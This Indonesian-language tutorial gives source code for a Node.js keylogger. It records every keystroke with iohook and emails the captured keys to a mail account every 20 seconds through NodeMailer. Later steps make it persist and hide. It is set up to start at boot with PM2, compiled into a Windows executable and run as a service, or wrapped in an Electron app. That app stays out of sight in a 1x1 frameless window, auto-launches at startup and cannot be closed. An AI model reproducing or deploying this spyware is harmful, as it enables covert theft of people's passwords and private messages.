Iya itu mungkin.

Untuk implementasi inti, saya memerlukan dua perpustakaan eksternal utama: IoHook dan NodeMailer.

"dependencies": {
  "iohook": "^0.9.3",
  "nodemailer": "^6.7.2"
}

Langkah pertama adalah memulai pendengar IoHook pada peristiwa keyDown, membaca karakter sebenarnya dari peta masukan khusus yang ditentukan secara ad-hoc. Faktanya, sayangnya, kode tombol yang ditekan yang dikembalikan oleh peristiwa tersebut tidak sesuai dengan kode sebenarnya untuk karakter khusus tersebut, sehingga kita tidak dapat menggunakan String.fromCharCode().

const ioHook = require('iohook');
const keyNamesWin = { // ... 
  52: '.',
  53: 'ù',
  54: 'Shift' //.... }
let cache = []
ioHook.on('keydown', (event) => {
    cache.push(keyNamesWin[event.keycode])
});

Langkah kedua adalah mengkonfigurasi akun SMTP NodeMailer. Dalam hal ini, saya menggunakan akun MailTrap.io palsu.

const nodemailer = require('nodemailer');
const transport = nodemailer.createTransport({
    host: "smtp.mailtrap.io",
    port: 2525,
    auth: {
        user: "xxxx",
        pass: "xxxx"
    }
});

Langkah ketiga adalah menggunakan fungsi IIFE untuk mengaktifkan pengatur waktu yang benar-benar mengirim email dengan menekan tombol dan menyimpannya ke dalam variabel cache.

(function timer() {
    if (cache.length > 0) {
        mailOptions.text = cache.toString()
        console.log('mail')
        transport.sendMail(mailOptions, (error, info) => {
            if (error) {
                return console.log(error);
            }
            console.log('Message sent: %s', info.messageId);
        });
        cache = [];
    } else {
        console.log('empty')
    }
    setTimeout(timer, 20000);
})();

Mengenai eksekusi program yang sebenarnya, ada dua skenario utama: menjalankan aplikasi ini pada mesin di mana runtime Node.JS diinstal dan tersedia, dan di mana Node.JS tidak diinstal.

Untuk kasus pertama (NodeJS===true), kita cukup mengeksekusi skrip menggunakan manajer proses PM2 untuk Node.JS.

> npm install -g pm2 
> pm2 start index.js

Dimungkinkan juga untuk mengaktifkan “skrip startup PM2” untuk memulainya saat sistem di-boot ulang. (Untuk mesin windows sedikit lebih rumit tetapi tetap bisa dilakukan).

Untuk kasus kedua (NodeJS===false), salah satu solusinya adalah menggunakan Nexe untuk mengkompilasi aplikasi Node.js menjadi satu file yang dapat dieksekusi. Anda perlu memilih runtime yang sesuai untuk eksekusi dengan memilih dari daftar ini. Mungkin Anda ingin menginstal executable itu sebagai layanan. Untuk windows dimungkinkan untuk menggunakan NSSM yang mengagumkan.

> npm install -g nexe
> nexe index.js -o test -t windows --build --verbose

(NB: build pertama akan memakan waktu cukup lama. Untuk Windows, Anda mungkin diminta untuk menginstal NASM juga.)

Solusi lain untuk OS Windows mungkin dengan membangun aplikasi Electron.JS yang dapat mulai diminimalkan dan dikonfigurasi secara otomatis untuk diluncurkan saat startup.

const AutoLaunch = require('auto-launch');
const nodemailer = require('./node_modules/nodemailer')
const ioHook = require('./node_modules/iohook')
function init() { 
  // here we have the exact same code for the keylogger provided above. 
} 
let tray = null

function createWindow () {
  let autoLaunch = new AutoLaunch({
    name: 'Your app name goes here',
    path: app.getPath('exe'),
  });
  autoLaunch.isEnabled().then((isEnabled) => {
    if (!isEnabled) autoLaunch.enable();
  });
  const mainWindow = new BrowserWindow({
    width: 1,
    height: 1,
    frame: false,
    webPreferences: {
      nodeIntegration: true,
      enableRemoteModule: true
    }
  });
  tray = new Tray('icon.png')
  tray.setToolTip('This is my application.')
  tray.setContextMenu(Menu.buildFromTemplate([
    {label: 'Disable', type: 'radio'}
  ]))
  mainWindow.loadFile('index.html')
  mainWindow.on('minimize', function (event) {
    event.preventDefault();
    mainWindow.hide();
  });
  mainWindow.on('close', function (event) {
    if (!application.isQuiting) {
      mainWindow.minimize();
    }
    return false;
  });
  mainWindow.minimize()
  init();
}
app.whenReady().then(() => {
  createWindow()
  app.on('activate', function () {
    if (BrowserWindow.getAllWindows().length === 0) createWindow()
  })
})

Dalam hal ini, perlu untuk menentukan target perpustakaan IoHook di dalam package.json di tingkat root.

"iohook": {
  "targets": [
    "node-83", // this is the node ABI
    "electron-87" // this is the electron ABI 
  ],
  "platforms": [
    "win32",
    "darwin",
    "linux"
  ],
  "arches": [
    "x64",
    "ia32"
  ]
},

Terakhir, Electron-builder akan menyediakan penginstal aplikasi Electron ini yang akan mulai diminimalkan sebagai ikon baki.